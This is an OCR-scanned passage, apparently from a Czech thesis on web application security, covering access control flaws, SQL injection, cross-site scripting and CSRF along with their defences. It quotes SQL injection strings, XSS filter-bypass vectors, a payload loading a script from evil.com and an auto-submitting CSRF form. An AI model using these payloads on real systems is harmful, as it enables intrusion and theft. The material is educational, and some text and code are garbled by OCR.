nékteré ovetovaci faze. (Stuttard, a dalsi, 2011 stranky 258, 259) (gotowebs, 2017)

V nékterych aplikacich mohou byt diuvérné funkce a zdroje piistupné kazdému, kdo zna
relevantni URL. Pfikladem mize byt adresa https://example.com/admin/, kde uzivatel mtze
vyuZzivat administratorské funkce. Tato URL vétSinou neni pro uzivatele s jinou roli viditelna
anemusi byt vzdy, tak snadno uhodnutelna. Presto miize uto¢nik zminéné URL najit ve

zdrojovém kddu aplikace, a to konkrétné ve skrytych formulafovych polich ¢i JavaScriptu.
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Obdobnym zplisobem lze ptistupovat ke zdrojiim, které patii jinému uZivateli. Piikladem je
adresa https://example.com/ViewDocument.php?docid=1280149120, kde parametr docid
zna¢i identifikacni ¢islo dokumentu. Uhodnutim ¢isla dokumentu jiného uzivatele
a nedostateCnym zabezpecenim, se tak muze utocnik neopravnéné dostat k cizim datim.
Stejny problém nastava u ziskani URL pro piimé stazeni daného souboru, napf.
https://example.com/download/9780636628104.pdf. Webovy server staticky soubor vréti
bez spusténi kodu aplikace a nelze tedy stazeni zabrénit. (Stuttard, a dalsi, 2011 stranky 259
- 264)

Kromé¢ URL muze byt Groven piistupu prendsena skrze skryta pole ve formulaii, hlavicky
nebo cookies. Béhem kazdého pozadavku aplikace tyto hodnoty piecte a rozhodne se, zda
uzivateli piistup povoli. Pro uto¢nika, ktery neziska administratorska prava, je t¢zké zjistit
jakd azda vibec jsou data timto zpusobem pienasena. Piikladem muze byt udéleni
opravnéni na zaklad¢ IP adresy ¢i hlavicky Referer, kdy aplikace kontroluje, zda byl
pozadavek proveden z administratorské strdnky. (Stuttard, a dalsi, 2011 stranky 265, 266)
(Scambray, a dalsi, 2002 str. 168)

Spousta aplikaci spoléha na fizeni pfistupu na zaklad¢ uzivatelskych prav v souborovém
systému webového serveru. OvSem tato prava mohou byt u nékterych diilezitych soubortii
Spatné nastavend a uto¢nik se k nim muze dostat. DalSim problémem miiZze byt ukladani
webovych stranek do mezipaméti, kdy toénik mize vyuzit sdileny pocitac¢ v knihovné, ve
Skole ¢i dal§ich vefejnych mistech a dostat se neopravnéné k divérnym informacim.

(OWASP, 2010)

3.12.2 Utoky

Nejjednodussi a nejefektivnéj$i metodou testovani fizeni piistupu aplikace je pouziti
dvou uzivatelskych tc¢ti idealné s rozdilnymi pravy. Nasledné testovat, které zdroje a funkce
jsou legéln¢ dostupné jednim uctem a zaroven nelegdlné¢ druhym. Tam kde neni potieba
lidska inteligence, lze vyuzit automatické testovani pomoci vhodného nastroje. V ptipadech
vicestupniového procesu, kdy uzivatel musi provést nékolik pozadavki ve spravném poradi
je toto testovani neefektivni. Redenim je testovani kazdého jednotlivého procesu zvIast.
(gotowebs, 2017)

Pokud nelze v aplikaci vytvofit vice uzivateld a Gito¢nik ma k dispozici pouze jeden tcet,

pak je potifeba vynalozit vice usili k nalezeni bezpecnostni diry. PredevSim je potieba
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otestovat veskeré parametry v URL, hodnoty v cookies a hlavicky. Zaroven je dulezité
prozkoumat zdrojovy kdd aplikace a zjistit, jestli se v ném nevyskytuji odkazy na funkce ¢i
zdroje, které jsou v uzivatelském rozhrani skryté. Muze se jednat naptiklad o staré funkce,
které nebyly smazany nebo nové funkce, které nebyly zatim publikované. Déle se uto¢nik
soustfedi na hledani odkazli na pfimé stazeni dokumentl a snazi se pochopit, jakym
zpusobem je tvoren jejich nazev a ziskat tak pfistup k souboru jiného uzivatele. (Stuttard,

a dalsi, 2011 stranky 273, 274, 277)

3.12.3 Zabezpeceni Fizeni piistupu

Autorizace je nejjednodussi oblasti bezpec¢nosti webovych aplikaci, které je potieba
porozumét a pii jejiz implementaci je potieba dikladné aplikovat danou metodologii.
Soucasti této metodologie je nejCastéji matice fizeni piistupu, ktera definuje typy uzivatelt
a jejich povolené funkce. Bezpecnostni dira v autorizaci je vétSinou zpusobena chybnymi

ptredpoklady o druzich pozadavku, které uzivatelé mohou vytvofit a zarovei nedostate¢nym

testovanim. (OWASP, 2010)

(Stuttard, a dalsi, 2011 stranky 278 - 280) a (gotowebs, 2017) dale poskytuji nasledujici

rady, které snizuji riziko aspésného Utoku:

e Aplikace by méla uzivateli udélovat pravo ke zdroji nebo funkci pouze na zakladé
hodnot v session a nikoliv napf. v URL parametrech.

e Administratorské prava by méla byt ptistupna pouze na zaklad¢ spravné IP adresy.

e Piimy pfistup k souborim by mé&l byt chranén pomoci HTTP autentizace nebo jiné
funkce aplikacniho serveru.

e Autorizace by méla byt provadéna na kazdé strance, a tedy pii kazdém pozadavku.

e Aplikace by méla uchovavat zaznamy o kazdém piistupu k divérnym informacim.
3.13 UtoKy na datové uloZisté

Data jsou nejéastéji ukladana v SQL databazich, repositafich zaloZzenych na XML a LDAP
adresarich. Do téchto ulozist’ se také ukladaji nastaveni, ktera fidi logiku aplikace. Jedna se
napiiklad o uzivatelské G¢ty, jejich prava nebo jind nastaveni aplikace. Kromé ziskani
davérnych informaci muze uto¢nik modifikaci spravnych dat ziskat kontrolu nad celou
aplikaci. (Stuttard, a dalsi, 2011 str. 287)
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Webové aplikace pro ukladani dat vyuzivaji databaze a pomoci skriptti se dotazuji k datim,
kterd zrovna potfebuji. Programovaci jazyk a zptsob jakym jsou dotazy do databaze
provadény urcuje, zda je aplikace nachylnd na tzv. Code Injection (injektaz kodu). Code
Injection je obecny termin pro typy ttoku, které diky nedostate¢né validaci vstupnich dat
modifikuji kod aplikace a umoziuji utoénikovi piistup k datovému ulozisti. (OWASP, 2013)
(Clarke, 2012 str. 17)

Code Injection se ¢asto pouziva u piihlasovacich formulaii, kde Ize zadanim vhodného kddu
do formulafového pole docilit toho, ze aplikace udéli piistup do zabezpecené sekce
neopravnénému uzivateli. Podle pouzité technologie se injektaz kodu déli na SQL Injection,

LDAP Injection, XPath Injection. (Scambray, a dalsi, 2001 stranky 141 - 143)

WordPress, stejné jako vétSina aplikaci, pouziva MySQL databazi, a proto bude v préaci
popséno pouze SQL Injection. LDAP i XPath Injection v8ak funguje na stejném principu
arozdil je akorat v kddu, ktery uto¢nik do neoSetieného vstupniho pole vklada. (Stuttard,
a dalsi, 2011 stranky 344 - 354)

3.13.1 SQL Injection

SQL Injection je atok, ktery umoziuje utocnikovi vlozit SQL vyraz do kdédu aplikace
a ziskat tak piistup do databaze. Uto¢nik je injektazi schopny provadét viechny nebo nékteré
CRUD akce. CRUD je zkratka pro vytvafeni (Creating), ¢teni (Reading), upravu (Updating)
a mazani (Deleting) dat v databazi. (Yaworski, 2016 str. 64)

SQL jazyk pro CRUD akce obsahuje funkci SELECT, INSERT, UPDATE a DELETE.
Funkce jsou dale rozsititelné o Klauzule. Nejcastéji se pouziva klauzule WHERE, ORDER
BY a GROUP BY. Kazda ze zminénych funkci muze byt nachylnd na SQL Injection.
(Stuttard, a dalsi, 2011 stranky 294 - 297)

3.13.2 Zranitelnosti

Vsechny uzivatelské vstupy jako formulafova pole, parametry v URL, cookies a HTTP
hlavi¢ky jsou zpracovavany na serveru. Nasledné dochazi k jejich ulozeni do databaze nebo
je na zaklad¢ nich vybran odpovidajici zaznam. V obou ptipadech je na serveru spustén SQL
dotaz, jehoz soucasti jsou zminéné hodnoty. Aplikace, ktera nedostate¢né osetii vstup od
uzivatele umoziuje uto¢nikovi zménit konstrukei téchto SQL dotazu. (Stuttard, a dalsi,

2011 str. 298) (Clarke, 2012 str. 22)
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Vsechny vétsi webové aplikace obsahuji vyhledavaci formulaf na webu, ktery na zaklade
vlozeného fetézce vyhledd odpovidajici zdznamy. Formulaf muze byt navic odeslan
metodou GET namisto metody POST. URL v takovém ptipadé vypada napf. nasledovné -
http://www.victim.com/products.php?search=pharse. Hodnota v parametru search je
nasledné vlozena do SQL dotazu, ktery aplikace provede. (Clarke, 2012 stranky 18, 23)
(Vréna, 2012 str. 266)

Parametry v URL nemusi byt zapsané ve formatu patrném z piikladu diive, nybrz ve formatu
Citelnéjsim, ktery se pouziva piedevsim pro URL obsahovych stranek. Vyse uvedend URL
adresa, tak muize vypadat napi. nasledovné - http://www.victim.com/products/search/pharse.
Zpracovani hodnot vSak aplikace provadi bez zmény a jakakoliv URL obsahové stranky, tak
muze byt zdrojem dtoku do databaze. (Sirovich, a dalsi, 2008 stranky 59 - 61)

Zranitelnost aplikace vznika ve zminénych mistech kviili nedostate¢nému oSetfeni vstupnich
dat. (Clarke, 2012 stranky 32 - 37) dale udava tti zakladni nedostatky pii validaci vstupnich
hodnot:

e Povoleni apostrofu, ktery oddéluje data od SQL kodu a utoénikovi umoziiuje spustit
vlastni SQL dotaz.

e Absence osetieni datového typu hodnot, coz uto¢nikovi umoznuje vlozit fetézec do
dotaz, kde je ocekavana ¢iselna hodnota, ktera neni ohranic¢ena apostrofy.

e Dynamické generovani SQL dotazl na zaklad€ zvolenych hodnot v uZivatelském
rozhrani, pti¢emz hodnoty ptedstavuji ndzvy sloupct ¢i tabulek, vede ke vzniku dalsi

zranitelnosti aplikace.

Kromé nedostateéného osetieni vstupnich dat vznika zranitelnost aplikace také nevhodnym
zpracovanim chyb z databaze. Pokud jsou chyby z databaze zobrazeny uZivateli, neni pro
uto¢nika problém tyto chyby vyuzit k dohleddni spravnych nazvi tabulek ¢i sloupct

a slozeni korektniho SQL dotazu. (Clarke, 2012 str. 38)

3.13.3 Zpisoby injektaze

Zpusobu injektaze je hned nékolik. Tim nejzakladnéjsim je vlozeni apostrofu do vstupni
hodnoty spole¢né s ¢asti dotazu, ktera se ma provést s celym piikazem. Pii utoku se vyuziva
toho, Ze apostrof v SQL slouzi k ohraniceni fetézce, ktery timto piredéasné ukoncime. Vse

za apostrofem se tak stane soucasti samotného dotazu. NeoSetfeni apostrofu ve vstupu
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nevede pouze k nachylnosti na SQL Injection, ale také k vyvolani chyby v piipadé¢, ze

uzivatel zad4 apostrof bez postrannich imysla. Ptikladem mize byt ptikaz:
SELECT patient_records FROM tblPatients WHERE user_search = '"McSorley's ',

kde McSorley's je jméno pacienta, pro kterého se maji v databazi vyhledat zd&znamy. Dotaz
by skoncil chybou, protoze ,,s '“ neni plathnym SQL vyrazem. Zadanim platného vyrazu by
ale uto¢nik mohl ziskat naptiklad data z jiné tabulky ¢i obejit mechanismy zabudované do
aplikace. (Long, 2005 str. 447)

Komentar

Komentatre se v SQL znac¢i dvéma pomlckami (--). Jejich vlozenim za apostrof Ize docilit
toho, ze Cast prikazu bude ignorovana. V nasledujicim piikladu jsou komentare napiiklad

pouzity k ignorovani ovéteni uzivatelského hesla.

SELECT * FROM users WHERE username = ‘admin’-- * AND password = 'foo’
Cast skriptu, ktera se nakonec provede pouze ovéfi uzivatelské jméno.
SELECT * FROM users WHERE username = ‘admin’

(Stuttard, a dalsi, 2011 str. 289)

OR 1=1

Vyraz, resp. ¢ast podminky OR 1=1 je uzite¢na v pfipad¢€, ze Gto¢nik nevi, jaké uzivatelské
jméno tabulka v databazi obsahuje. Podminka username = 'admin' OR 1=1 bude vzdy

pravdiva a utocnik bude ptihlasen. SQL dotaz obohaceny 0 injektdz vypada nasledovné:
SELECT * FROM users WHERE username ="' OR 1=1--' AND password = 'foo’,

kde ' OR 1=1-- je Gto¢nikem vlozeny kod.

(Stuttard, a dalsi, 2011 str. 290) (Scambray, a dalsi, 2001 str. 142)

INSERT, UPDATE a DELETE

SQL Injection Ize provést i u ostatnich SQL funkci. Naptiklad pii registraci, kde se pouziva
funkce INSERT je mozné docilit toho, ze aplikace uto¢nikovi udéli napiiklad jind prava.
Jedinou podminkou u INSERT funkce, je stejny pocet atyp sloupctt v prvni zavorce
a klauzuli VALUES. Ptikladem je nasledujici dotaz:
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INSERT INTO users (username, password, 1D, prvs) VALUES (‘foo’, 'bar',999,0)--daf’,
'secret’, 2248, 1)

Obdobné¢ 1ze provést injektaz u funkce UPDATE a DELETE. Tyto funkce mohou byt stejné
jako funkce SELECT rozsiteny o klauzuli WHERE. (Stuttard, a dalsi, 2011 stranky 295 -
297)

UNION

UNION je operator, ktery slouzi ke kombinaci vysledka piikazti SELECT do jediné sady.
Kazdy SELECT mitiZe pfitom vybirat data z jiné tabulky, ¢imZ umoziluje Gto¢nikovi vybrat
data, kterd potiebuje. Pfedpokladem pro UspéSné provedeni piikazu je rovnost poctu
a datovych typt sloupcii v obou tabulkach. Utoénik, tak kromé& nazvu tabulky, z které chce
data ziskat, musi znat isloupce, které jsou vybirany. Pokud aplikace zobrazuje chybové
zpravy z databaze, tak je jejich uhodnuti jednoduché. Piiklad SQL Injection s UNION
operatorem je néasledujici:

SELECT name, description, price FROM products WHERE category = 1 UNION SELECT
‘A, 'B', 3 FROM all_tables'

(Stuttard, a dalsi, 2011 stranky 304, 305) (sqlinjection.net, 2017)

Filtrovani znaku

Nekteré aplikace maji implementované filtry, které odstranuji znaky ze vstupu casto
pouzivané k SQL Injection. (Stuttard, a dalsi, 2011) udavaji zpusoby, jak piedejit blokovani
znaku:

e V pifipadé¢ blokovani znaku pro komentat, lze misto ' OR 1=1--' napsat ' OR 'a'="a
nebo pouzit komentare v daném programovacim jazyku, ve kterém je SQL dotaz
Spustén, napt. /*.

e V piipadé blokovani vice znaku, lze znaky nahradit za kody v ASCI tabulce, napft.
CHR(109).

e V pfipad¢ blokovani klicovych slov jako je napt. SELECT muze fungovat jeden
z nasledujicich zapisu:

o SeLeCt

o %O00SELECT

o SELSECTECT

o %53%45%4c%45%43%54

o  %2553%2545%254c%2545%2543%2554
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Zadny vystup

Ve spousté piipadt aplikace nevraci zadny vysledek po aplikovani SQL Injection. Utoénik
tak nemuize zjistit, zda byl jeho utok uspé$ny ¢i nikoliv. Podle typu databazového serveru
lze ovSsem pouzit funkce, ktera otevie sitové spojeni na tito¢niktiv pocita¢. Pies toto spojeni
pak lIze ptenést libovolna data z databaze, v¢etné informace o uspés$nosti injektaze. (Stuttard,

a dalsi, 2011 stranky 316, 317)

3.13.4 Obrana proti SQL Injection

Pii programovani aplikace by data neméla byt vkladana ptimo do dotazd, ale nejprve by se
mél definovat cely SQL kod aaz pozdéji pridana data. Takovému dotazu se tika
parametrizovany a v PHP lze k témto G¢eltim vyuzit knihovnu PDO, Dibi ¢i nékterou ORM
(Object-Relational Mapping) knihovnu. Pfipravené dotazy zajist'uji, ze uto¢nik neni schopen
zménit zamér dotazu, prestoze je kod napaden utoénikem. (OWASP, 2017) (Vréna,
2012 stranky 227-230, 251)

Aplikace, kterd nezbytné¢ potiebuje provadét SQL dotazy tvoiené =z uzivatelsky
definovanych nazv tabulek a sloupcii, by méla tyto hodnoty dostatecné oSettit. Pokud nelze
dotazy pred¢lat tak, aby neobsahovaly uzivatelské hodnoty, 1ze alespoil provést mapovani

téchto hodnot na o¢ekavané nazvy tabulek a sloupct. (OWASP, 2017)

Posledni moznosti je oSetfeni uzivatelskych vstupii pomoci, tzv. escaping. Jedna se
0 odstranéni znaku, které by mohly ovlivnit funkénost dotazu. Napiiklad v PHP se pro tyto
ucely pouziva funkce mysql real escape string, ktera zohledfiuje vSechna specifika
MySQL a respektuje nastavené kodovani. (OWASP, 2017) (Vrana, 2012 str. 250)

Dopliujicim opatfenim proti SQL Injection je minimalizovani $kod, pfi uspé$ném utoku.
Uzivatel databaze, pod kterym je dotaz, a tedy i Gtok provadén, by mél mit proto préva k tém
tabulkdm a SQL funkcim, které nezbytné potiebuje. Dalsim opatfenim je nevypisovani
chybovych hlasek z databaze, vyuziti firewallu pro webovy server, napi. ModSecurity,
a monitorovani vSech provedenych dotazti na databazi. (OWASP, 2017) (Weiss, 2016)

3.14 Utoky na uZivatele

Vsechny doposud zminéné Gtoky byly sice provazany s uzivatelem, ale utok byl provadén
na server, a nikoliv na uZivatele. VyuZzivalo se pfitom nedostate¢ného zabezpeceni aplikace

na strané serveru. Stejné je tomu u Utokl na uZivatele, u kterych se navic vyuzivaji nékteré
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aspekty chovani aplikace. Nékteré utoky, napt. Session Hijacking a Session Fixation, jiz
byly zminény, a proto se bude tato kapitola soustiedit na ostatni Gtoky vedené na uzivatele
aplikace. Vynechany budou také utoky, které vyuzivaji zranitelnosti prohlize¢t nebo
Active-X prvki napsanych nejcastéji v nativnich jazycich jako je napt. C/C++. (Stuttard,
a dalsi, 2011 stranky 431, 432, 555)

3.14.1 Cross-Site Scripting

Cross-Site Scripting, zkratka XSS, ¢esky skriptovani napfic siti, je Gtok zalozeny na injektazi
kodu do webové stranky aplikace. Skodlivy kod, kterym je vétSinou JavaScript &i jiny
skriptovaci jazyk bézici v prohlizeéi, je odeslan prostiednictvim webové aplikace jinému
uzivateli. Prohlize¢ nema Zadnou moznost, jak ovéfit davéryhodnost zdroje, a proto Skodlivy
skript spusti. Uto¢nik tak pomoci XSS miiZe ziskat token relace, hodnoty v cookies, prepsat
obsah HTML stranky ¢i ziskat jiné citlivé informace ulozené v prohlize¢i. K utoku se
nejcastéji vyuzivaji neoSetiené uzivatelské vstupy, na zakladé kterych je generovan vystup.
(OWASP, 2016)

XSS lze déle délit podle zptisobu zpracovani uzivatelskych vstupti na Stored XSS, Reflected
XSS a DOM Based XSS. Stored (ulozené/perzistentni) XSS vznika, kdyZ je uzivatelsky
vstup uklddan na server, napt. do databaze, a poté aplikaci nacten. Reflected (reflexivni)
XSS nastane, kdyz je uzivatelsky vstup ihned vracen webovou aplikaci v chybove zprave,
vysledku vyhled&vani nebo jakékoliv jiné odpovédi. Oba typy XSS Utoku maji stejny vzorec
chovani, ve kterém aplikace pfijima uZivatelskd data a zobrazuje je uzivatelim
nezabezpecenym zpisobem v HTML. DOM Based XSS neboli XSS utok zalozeny na DOM
(Document Object Model), vyuziva zranitelnosti aplikace, ktera skrze JavaScript generuje
chybové hlasky ¢i jiny obsah na zakladé parametru v URL, hodnot v cookies ¢i HTTP
hlavi¢ek. (OWASP, 2017) (Kiimmel, 2011 str. 76) (Klein, 2005)

(Yaworski, 2016) popisuje dalsi typ Gtoku, tzv. Self XSS, kdy ato¢nik pod uréitou zaminkou
nabada uzivatele ke spusténi skodlivého kodu. Uzivatel pfitom netusi, ze kod slouzi k Gtoku

proti nému samotnému.
Zranitelnosti

XSS utoky mohou zacinat od prosté zmény obsahu webové stranky a kon¢it pfidanim nové

funkce do aplikace. Zamérem je podvést uzivatele, ktery provede nezadouci akci, jako je

,,,,,
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ptihlasovaci formula#, do kterého obét’ zada své ptihlasovaci udaje. Dalsi nezadouci akci
miize byt naptiklad SQL Injection. Utoénik, tak vyuZije jiného uZivatele k ziskani pfistupu

do databaze a ziistane ptitom neodhalen. (Stuttard, a dalsi, 2011 stranky 444, 446)

K utokiim proti uzivateli se ¢asto vyuzivaji také funkce samotného prohlizece. Jednou
z funkci je automatické doplnovani tidaji ve formulafi. Prohlize¢ si udaje uklada do cache
paméti, ke které Ize pies JavaScript pristupovat. Utoénik tak mize skrze XSS Gtok data

ukrast a odeslat na svtij server. (Stuttard, a dalsi, 2011 str. 446)

Stored XSS, resp. perzistentni XSS je ,nejcastéji aplikovano v diskusnich férech,
komentarich pod clanky a vsude tam, kde maji uzivatelé moznost ulozit trvale na webovy
server sviyj prispevek (Kimmel, 2011 str. 56). Dale muze byt aplikovano ve formulatich,
kam uzivatelé¢ vkladaji své osobni tdaje, dokumenty, hodnoceni, otazky ¢i jiné udaje.
Vsechny zminéné uZzivatelské vstupy mohou byt nasledné aplikaci zobrazeny ostatnim
uzivatelim. N¢které aplikace navic do databaze ukladaji vstupy z ostatnich aplikaci nebo
komunikac¢nich kanald, napt. SMTP server, které mohou obsahovat §kodlivy kod. (Stuttard,
a dalsi, 2011 stranky 449, 450)

Perzistentnimu XSS se v ptipadé¢ vkladani pouze HTML kodu tika HTML Injection
(Grossman, a dalsi, 2007 str. 75). Vyuziva se predevSsim u zpravodajskych servert, kde
uto¢nik skrze tuto zranitelnost provadi tzv. Content Spoofing neboli zménu zobrazeného
obsahu. Jedna se predev§im 0 zménu obsahu ¢lankt (Kimmel, 2011 str. 93). Kromé toho
existuje také Template Injection, které vyuziva zranitelnosti $ablonovacich systému.
Sablonovaci systémy umoziiuji vyvojaram oddélit programovou logiku od prezentované
¢asti aplikace a obsahuji funkce pro generovani dynamického obsahu. Bez dostatecného
oSetfeni uzivatelského vstupu mohou byt Gtoénikem tyto funkce zneuzity. (Yaworski,

2016 str. 57) (Kettle, 2015)

U reflexivniho a DOM Based XSS je utok provadén pomoci phishingu, tedy hromadného
odesilani e-maili vice uzivateliim aplikace se $kodlivou URL. Utoénici také vytvati webové
stranky se zajimavym obsahem a $kodlivymi URL, na které piilakaji uzivatele nebo je
vkladaji do diskuznich for. (Stuttard, a dalsi, 2011 stranky 448, 449) (Kiimmel, 2011 str. 69)
Priklady utoku

Zakladnim Stored XSS atokem  je  vloZeni  jednoduchého  fetézce

<script>alert(/XSS/);</script> do formulatfového pole ¢i jiné¢ho uzivatelského vstupu, ktery
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se nasledné uklada do databaze. Pfi nacteni stranky, kde se uZivatelské vstupy generuji pro
ostatni uzivatele, se v pfipad¢é tspéSného utoku zobrazi vystrazné okno s textem /XSS/.

(Ktiimmel, 2011 stranky 59, 60)

U reflexivniho XSS se mize skript na server dostat pies HTTP metodu GET nebo POST. U
vyhledavaciho formulafe, ktery hledanou frazi zobrazuje v HTML dokumentu a je odesilan
metodou GET sta¢i v URL zménit hledany vyraz za libovolny skript. Skript se pak zobrazi
na strdnce aspusti. Vysledna URL vtakovém piipadé vypada nasledovné:
htttp//www.xssvpraxi.cz/search.php?dotaz=<script>alert(/XSS/);</script>. (Kimmel,
2011 stranky 64 - 72)

Vétsina formulaia je ale odesilana metodou POST, kde jsou hodnoty parametrii odesilany
v téle pozadavku. Utoénik tak musi pfimét uZivatele, aby formulaf odeslal se $kodlivym
kédem. Nejcastéji utocnik podstrci uzivateli odkaz na webovou stranku, kterd se postara
0 odeslani POST pozadavku s pfedem pfipravenymi daty a Skodlivym kodem. (Kiimmel,
2011 stranky 64 - 72)

DOM Based XSS je velice podobné reflexivnimu XSS a jeho piiklad byl jiz uveden. Jediny
rozdil oproti reflexivnimu XSS je zptisob vkladani hodnot do HTML. U reflexivniho XSS
jsou vkladany hodnoty na strané serveru, kdezto u DOM Based XSS jsou hodnoty parametrii

vkladany na strané klienta, a to pomoci JavaScriptu. (Kimmel, 2011 str. 76)
Prolomeni obrany

Aplikace se Casto brani filtrovanim vyrazu <script> ¢i jinych HTML tagti. Vhodnou
upravou vyrazu Ize docilit toho, Ze bude skript prohliZze¢em piesto spustén. (Stuttard, a dalsi,

2011 stranky 451, 452, 459) déle udavaji nasledujici ptiklady upravy vyrazu <script>:

e <script>
e <ScRiPt>
e  %3cscript%3e

e <scr<script>ipt>

Kromé¢ filtrovani HTML tagi mohou aplikace blokovat cely uzivatelsky vstup v ptipadé
detekce XSS. Aplikace nejcastéji blokuje vstup, ktery obsahuje vyraz <script>. Existuji
ovsem HTML tagy a jejich atributy, do kterych Ize javascriptovy kdd schovat a aplikace ho
ptijme. (Stuttard, a dalsi, 2011 stranky 456 - 458) dale uvadéji nasledujici piiklady:
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o <object data=“data:text/html, <script>alert(1)</script> ‘>

e <a href="data:text/html; base64,
PHNjemlwdD5hbGVydCgxKTwve2NyaXBOPg== ‘> Click here</a>

e <xml onreadystatechange=alert(1)>

e <img type=image src=valid.gif onreadystatechange=alert(1)>

e <body onactivate=alert(1)>

e <input autofocus onfocus=alert(1)>

e <video src=1 onerror=alert(1)

o <iframe src=javascript:alert(1)>

Aplikace dale mohou blokovat samotné HTML komponenty jako jsou tagy, atributy nebo
zavorky (< a>). Mnoho z téchto filtrl Ize obejit pfidanim neobvyklych znak do komponent,
takovym zpiisobem, ktery prohlize¢ toleruje. Na libovolnou pozici Ize naptiklad vlozit
ASCII kdd [%00] reprezentujici prazdny bajt nebo nahradit mezeru za znak / ¢i ASCIII kod
[%09]. Znaky v hodnot¢ atributu lze také pievést do HTML koédovani, pricemz tyto znaky
jsou pozdéji prohlizeGem dekddovany. V nékterych prohlizecich je u HTML tag dokonce
tolerovana zavorka navic, jejiz duplikaci nemusi dojit k blokaci uzivatelského vstupu.
(Stuttard, a dalsi, 2011 stranky 460-463)

Nakonec muzou byt blokovana samotna klicova slova, zavorky, uvozovky a teCky ve
skriptu. Stejné¢ jako u HTML komponent iv JavaScriptu existuji techniky, kterymi lze
upravit skript a zachovat jeho funk¢nost. Vyuziva se napiiklad Unicode, hexadecimalni nebo
osmickové kodovani, kterym se nahrazuji blokované znaky. (Stuttard, a dalsi, 2011 stranky
465, 466)

Dalsi obranou aplikaci je omezeni délky uzivatelského vstupu, kdy Uto¢nik nemize zadat
rozsahly 8kodlivy kod. ReSenim mize byt spusténi vzdaleného skriptu, napf.
http://www.acme.com/path/to/search.asp?query="><script  src="http://evil.com/s.js"/>.
Nevyhodou je odhaleni totoznosti Gto¢nika a nasledné zablokovani serveru obsahujiciho
Skodlivy skript. Dal§im feSenim je ptevedeni, v tomto piipadé reflexivniho XSS, na DOM
Based XSS. Vyuziva se k tomu funkce eval a javascriptova funkce location.hash.substr(1),
ktera vrati hodnotu za znakem #. Vysledny skript pak vypadd nasledovné:

http://www.acme.com/path/to/search.asp?query="><script>eval(location.hash.subst

r(1))</script>#alert('xss"). (Grossman, a dalsi, 2007 stranky 131, 132)
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Prevence proti XSS

Ochranu proti XSS obsahuji samotné prohlizece. Jedna se piedev§im o filtry jako je
napiiklad NoScript od Firefoxu, IE XSS Filter od Microsoftu nebo XSS filter od Google
Chrome. Zarovei lze prohlize¢i pfimo fici, zda se jedna o legitimni obsah pomoci HTTP
hlavicky X-Content-Security-Policy, dnes pouze Content-Security-Policy. Prohlize¢i je tak
ptedana informace o tom, ze aplikace implementuje bezpe¢nostni politiku Content Security
Policy (CSP). Prohlize¢ na zakladé¢ definovanych direktiv webovou stranku zpracuje.
(Kimmel, 2011 stranky 252, 253, 261) (Mozilla, 2018)

Na strané webové¢ aplikace je potieba vzdy validovat vstupni hodnoty a zaroven generovany
vystup. Vstupni hodnoty od uzivatele by nikdy nemély byt ptili§ dlouhé, mély by obsahovat
pouze uréit¢ znaky a odpovidat ur¢itému regularnimu vyrazu. Znaky se specialnim
vyznamem Ve vystupu, ktery je generovan ze vstupnich hodnot, by mély byt oSetteny. Pro
reflexivni nebo persistentni XSS lIze k tomuto ucelu vyuzit PHP funkci htmlISpecialChars,
ktera v zakladnim chovani pfevede znaky <“&> na tzv. HTML entity (napt. &lIt; pro znak
<), které se po interpretaci HTML zobrazi jako dany znak. (Stuttard, a dalsi, 2011 stranky
492, 493) (Vréana, 2012 str. 356)

Vstupni a vystupni filtry mohou selhat v piipadé, Ze je uto¢nikav vstup v neobvyklém
kddovani, a proto by aplikace méla explicitné specifikovat typ kédovani v HTTP hlavicce
odpovédi. Naptiklad: Content-Type: text/html; charset=1SO-8859-1. V nékterych
ptipadech, napf. u textového editoru ve webové aplikaci, se ocekavd HTML vstup od
uzivatele, ktery nelze zcela na vstupu filtrovat. V takové situaci se kontroluje vstup
s hodnotami v tzv. whitelistu nebo blacklistu, tedy s povolenymi nebo zakazanymi fetézci.
(Stuttard, a dalsi, 2011 stranky 495, 496) (Kiimmel, 2011 stranky 249, 250)

U DOM-Based XSS, kde jsou data zpracovavana bez ptimé kontroly na serveru, je nutné
opét validovat vstup. Pfedev§im je nutné kontrolovat, zda je v URL odpovidajici pocet
parametrti a zda je jejich ndzev spravny. Hodnota parametrti by zaroven méla obsahovat
pouze alfanumerické znaky. Pied vlozenim uzivatelskych dat do dokumentu je nutné provést
jejich validaci. K o$etfeni znaki se specialnim vyznamem lze vyuzit nékterou z dostupnych
javascriptovych knihoven nebo si vytvorit vlastni funkci. (Stuttard, a dalsi, 2011 stranky
496, 497) (OWASP, 2017)
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3.14.2 Request Forgery

Request Forgery, zndma4 také jako Session Riding, je kategorie Gtoku jejiz cilem je vytvoieni
pozadavka, které napadeny uZivatel nema v tmyslu udélat. Utok mize byt proveden i presto,
ze je aplikace chranéna proti XSS. Request Forgery se da rozdélit na On-Site a Cross-Site.
(Stuttard, a dalsi, 2011 stranky 501, 502)

On-Site Request Forgery

On-Site Request Forgery (OSRF) vyuziva zranitelnosti aplikace, kterd umoznuje vlozit
Skodlivy kod do obsahu stranky. Spousta aplikaci umoznuje piidavat do obsahu obrazky ¢i
upravovat jejich URL. Na strance, kde je obrdzek zobrazen, je na danou URL proveden
HTTP pozadavek GET. Uto¢nik miize zaménit URL obrazku za metodu aplikace, ktera
napiiklad pfidava nového uzivatele. Usp&ny ttok je v tomto piipadé vykonan, kdyz
administrator aplikace nacte stranku s obrazkem. OSetfeni znaki se specidlnim vyznamem
je vtomto pripadé neefektivni, protoze prohlize¢ URL dekdduje jesté predtim, nez je
proveden pozadavek. Ochranou je tak striktni validace uzivatelského vstupu ¢i stejny zptisob

popsany dale u Cross-Site Request Forgery.(Stuttard, a dalsi, 2011 stranky 502, 503)
Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF nebo také XSRF) Gtok je na rozdil od OSRF provadén
z jiné webové stranky (Kiimmel, 2011 str. 78). Utoénik mtize naptiklad vytvofit webovou
stranku s formulafem, ktery se pfi nacteni automaticky odesle. Akce, ktera je pii odeslani
vykonana je ovSem na jiné webové strance. Pokud takovou stranku navstivi administrator,
ktery je soucasné piihlaSeny do zranitelné aplikace, mize tto¢nik docilit toho, ze bude
vytvofen novy uéet. Uryvek kodu takového formulate je nasledujici:

<form action="https:://mdsec.net/auth/390/NewUserStep2.ashx “ method=“POST ‘>
<input type="hidden * name="“username * value="‘admin “>

;écript> document.forms[0].submit();</script>

(Stuttard, a dalsi, 2011 stranky 504, 505)

Kromé formulate, lze vyuzit k Gtoku HTML znacku iframe, img, link, bgsound ¢i jinou
znacku, kterd nacita obsah z externiho souboru metodou GET. Utoé¢nik pfitom nemusi
